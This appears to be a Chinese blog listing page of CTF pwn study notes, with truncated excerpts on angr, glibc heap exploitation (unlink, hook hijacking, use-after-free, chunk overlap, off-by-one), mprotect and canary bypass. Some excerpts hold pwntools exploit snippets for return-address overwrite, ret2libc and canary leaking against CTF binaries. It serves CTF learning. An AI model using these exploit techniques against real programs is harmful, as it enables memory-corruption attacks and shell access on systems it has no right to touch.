工具篇·Angr
参考官方Angr开发者发布在IEEE上的论文 angr官方文档README - angr Documentation angr的API文档angr API documentation — angr 9.2.26 documentation 实战项目angr_ctf项目GitHub - jakespringer/angr_ctf 师傅们的博客https://www.cnblogs.com/level5uiharu https://www.cnblogs.com/0xJDchen/p/9291335.html https://blog.csdn.net/qq_44370676/article/details/119714879 https://github.com/ZERO-A-ONE/AngrCTF_FITM/tree/master https://starrysky1004.github.io/2024/12/17/angr-xue-xi-yu-angr-ctf-ti-jie-chi-xu-geng-xin/angr-xue-xi-yu-angr-ctf-ti-jie-chi-x...
PWN刷题笔记(长期更新)
GHCTFHello_World绕PIEfrom pwn import *context.log_level='debug'p = process('./attachment')offset=40backdoor = b"\xC5"payload = b"A" * offset + backdoorp.send(payload)p.interactive() ret2libc1from pwn import *context(os='linux', arch='amd64', log_level='debug')context.terminal = ["tmux", "splitw", "-h"] p=process("./attachment")elf=ELF('./attachment')libc=ELF('./libc.so.6...
unlink
unlinkunlink是什么?Index of /gnu/glibc unlink其实是libc中定义的一个宏,定义如下: #define unlink(AV, P, BK, FD) { FD = P->fd; BK = P->bk; if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) malloc_printerr (check_action, "corrupted double-linked list", P, AV); else { FD->bk = BK; BK->fd = FD; if (!in_smallbin_range...
堆入门-__malloc_hook和__free_hook劫持原理
malloc_hook和free_hook劫持原理_freehook-CSDN博客 打堆的一个关键的方法就是劫持堆相关函数中的 hook 函数。即在堆中的三大 hook 函数,malloc_hook、realloc_hook、free_hook Hook介绍 hook 的就是劫持函数指针,控制程序的执行,让函数执行我们所指定的函数。 hook 翻译过来是钩子。假设 a 函数中有这样一个执行过程:判断b函数指针是否为空,如果不为空就先b函数指针所指向的函数。这样当我们使用 b 钩子的时候,我们在执行 a 函数,执行流就会被 b 钩子给钩过来,这样就达到了执行 b 函数指针所指向的函数地址。 为了方便调试程序,在 glibc 中有四个比较重要的函数指针,分别是 malloc_hook、free_hook、realloc_hook、exit_hook。 我们可以通过一些堆漏洞或者其他漏洞就可以将原本指向 NULL 的这些函数指针,修改为 one_gadget,这样我们在满足一定的条件后就可以 getshell,这样就是 pwn 中的劫持 hook 函数最常见的用法。 malloc...
UAF(use_after_free)
原理我们将Use After Free翻译过来就是释放后使用:当一个指针所指向的指针块被释放掉之后可以再次被使用,但是这是由要求的,不妨将所有的情况列举出来: chunk被释放之后,其对应的指针被设置为NULL,如果再次使用它,程序就会崩溃。 chunk被释放之后,其对应的指针未被设置为NULL,如果在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时程序很有可能正常运转。 内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。在堆中Use After Free一般指的是后两种漏洞,我们一般称被释放后没有被设置为NULL的内存指针为dangling pointer(悬空指针、悬垂指针)。 未被初始化过的内存指针称为野指针 例题 delete函数未将指针置空,存在UAF漏洞 因为free chunk之后没有将ptr = null 释放两个chunk后, tcache中会有两个0x10大小的chunk, 再申请8字节的chunk, 会返回两个chunk...
chunk_extend
Chunk Extend and Overlappingchunk extend是堆漏洞的一种常见利用手法,通过 extend可以实现 chunk overlapping的效果。这种利用方法需要以下的时机和条件: 程序中存在基于堆的漏洞 漏洞可以控制 chunk header 中的数据,如修改size 例题https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/chunk-extend-shrink/hitcontraning_lab13 我们可以先创建2个堆块看看功能 xxxxxxxxxx6 1size_t fread(void ptr, size_t size, size_t nmemb, FILE stream)23ptr – 这是指向带有最小尺寸 size*nmemb 字节的内存块的指针4size – 这是要读取的每个元素的大小,以字节为单位5nmemb – 这是元素的个数,每个元素的大小为 size 字节6stream – 这是指向 FILE 对象的指针,该 FILE 对象指定了一个输入流C ...
堆中的off-by-one
前言off-by-one这种技术不仅仅适用于堆,在栈溢出中也可以得到很好的应用,由于ctf很喜欢在堆中出题。严格来说off-by-one漏洞是一种特殊的溢出漏洞,off-by-one指程序向缓冲区中写入时,写入的字节数超过了这个缓冲区本身所申请的字节数并且只越界了一个字节 漏洞原理off-by-one这种漏洞的形成和整形溢出很相似,往往都是由于对边界的检查不够严谨,当然也不排除和写入的size正好就只多了一个字节的情况,边界验证不严谨通常有两种情况: 使用循环语句向堆块中写入数据时,循环的次数设置错误,导致多写了一个字节,后面会举例讲解 对字符串长度判断有误简例1.循环边界不严谨int my_gets(char *ptr,int size){ int i; for(i = 0; i <= size; i++) { ptr[i] = getchar(); } return i;}int main(){ char *chunk1,*chunk2; chunk1 = (ch...
PWN技巧-mprotect修改内存保护权限
mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:#include <sys/mman.h>int mprotect(void *addr, size_t len, int prot); prot 的取值如下,通过 | 可以将几个属性结合使用(值相加): PROT_READ:可写,值为 1 PROT_WRITE:可读, 值为 2 PROT_EXEC:可执行,值为 4 PROT_NONE:不允许访问,值为 0 需要注意的是,指定的内存区间必须包含整个内存页(4K),起始地址 start 必须是一个内存页的起始地址,并且区间长度 len 必须是页大小的整数倍。 如果执行成功,函数返回 0;如果执行失败,函数返回 -1,并且通过 errno 变量表示具体原因。错误的原因主要有以下几个: EACCES:该内存不能设置为相应权限。这是可能发生的,比如 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 修改为 PROT_WRITE。 EINVAL:...
堆相关整理
What is 堆?明确一下堆的概念,堆不同于栈,堆是动态分配的(由操作系统内核或者堆管理器),只有在程序中需要时才会分配。在 CTF 的 pwn 程序中,栈是程序加载进内存后就会出现,而堆是由 malloc、alloc、realloc 函数分配内存后才会出现。 windows 和 linux 下的堆分配、管理方式都不同,这里主要讲到的是 CTF 中常出现的 linux 下的堆分配知识先看看堆在虚拟内存中的位置 堆的生长方向是从低地址向高地址生长的,而栈是从高地址向低地址生长的。实际上堆可以申请到的内存空间比栈要大很多,在 linux 的 4G 的虚拟内存空间里最高可以达到 2.9 G 的空间 对堆操作的是由堆管理器(ptmalloc2)来实现的,而不是操作系统内核。因为程序每次申请或者释放堆时都需要进行系统调用,系统调用的开销巨大,当频繁进行堆操作时,就会严重影响程序的性能 下面的分析都是以 glibc 库下的 ptmalloc2 堆管理器来讲解的。 一、堆的基本结构先简单的画一个图吧: 堆的结构malloc_chunk的结构 malloc_chunk结构每个程序分配的...
PWN技巧-绕过Canary的几种姿势
1. 格式化字符串漏洞获取Canarypl1='a'*0x49p.sendafter('overflow?\n',pl1)data=p.recv()canary=b'\x00'+data[0x49:0x49+7]canary = int.from_bytes(canary,'little')success('canary:')success(hex(canary)) 2. 覆盖截断字符获取Canary3. 逐字节爆破Canary 适用于有通过fork()函数创建的子进程的程序 爆破原理 对于Canary,虽然每次进程重启后Canary不同,但是同一个进程中的不同线程的Cannary是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存。 最低位为0x00,之后逐次爆破,如果canary爆破不成功,则程序崩溃;爆破成功则程序进行下面的逻辑。由此可判断爆破是否成功。 我们可以利用这样的特点,彻底逐个字节将Canary爆破出来。通用模...
